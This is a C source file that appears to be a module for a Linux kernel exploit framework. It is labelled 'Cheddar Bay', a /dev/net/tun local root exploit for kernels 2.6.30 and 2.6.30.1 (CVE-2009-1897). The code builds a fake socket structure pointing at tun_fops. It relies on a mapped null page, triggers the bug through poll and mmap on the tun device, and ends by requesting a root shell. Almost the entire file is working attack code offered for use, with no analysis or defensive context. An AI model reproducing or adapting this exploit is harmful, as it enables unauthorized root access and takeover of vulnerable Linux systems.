88 lines
1.7 KiB
C
88 lines
1.7 KiB
C
/* wunderbar */
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <fcntl.h>
|
|
#include <poll.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/mman.h>
|
|
#include "exp_framework.h"
|
|
|
|
struct exploit_state *exp_state;
|
|
|
|
#define OFFSET_OF_FLAGS 0x8
|
|
|
|
struct sock {
|
|
char gibberish1[0x60];
|
|
char gibberish2[0xe0];
|
|
unsigned long gibberish3[0x50];
|
|
};
|
|
|
|
char *desc = "Cheddar Bay: Linux 2.6.30/2.6.30.1 /dev/net/tun local root";
|
|
char *cve = "CVE-2009-1897";
|
|
|
|
int prepare(unsigned char *buf)
|
|
{
|
|
struct sock *sk = (struct sock *)buf;
|
|
struct pollfd pfd;
|
|
unsigned long target_addr;
|
|
int i;
|
|
int fd;
|
|
|
|
fd = open("/dev/net/tun", O_RDONLY);
|
|
if (fd < 0) {
|
|
fprintf(stdout, "Unable to open /dev/net/tun!\n");
|
|
return 0;
|
|
}
|
|
close(fd);
|
|
fd = open("/dev/net/tun", O_RDWR);
|
|
if (fd < 0) {
|
|
fprintf(stdout, "Unable to open /dev/net/tun!\n");
|
|
return 0;
|
|
}
|
|
|
|
target_addr = exp_state->get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11);
|
|
|
|
memset(sk->gibberish1, 0, sizeof(sk->gibberish1));
|
|
memset(sk->gibberish2, 0, sizeof(sk->gibberish2));
|
|
for (i = 0; i < sizeof(sk->gibberish3)/sizeof(sk->gibberish3[0]); i++)
|
|
sk->gibberish3[i] = target_addr - OFFSET_OF_FLAGS;
|
|
|
|
pfd.fd = fd;
|
|
pfd.events = POLLIN | POLLOUT;
|
|
poll(&pfd, 1, 0);
|
|
|
|
close(fd);
|
|
|
|
return EXECUTE_AT_NONZERO_OFFSET | 1;
|
|
}
|
|
|
|
int requires_null_page = 1;
|
|
|
|
int requires_symbols_to_trigger = 1;
|
|
|
|
int get_exploit_state_ptr(struct exploit_state *ptr)
|
|
{
|
|
exp_state = ptr;
|
|
return 0;
|
|
}
|
|
|
|
int trigger(void)
|
|
{
|
|
int fd;
|
|
fd = open("/dev/net/tun", O_RDONLY);
|
|
if (fd < 0)
|
|
return 0;
|
|
mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
|
|
close(fd);
|
|
|
|
return 1;
|
|
}
|
|
|
|
int post(void)
|
|
{
|
|
return RUN_ROOTSHELL;
|
|
}
|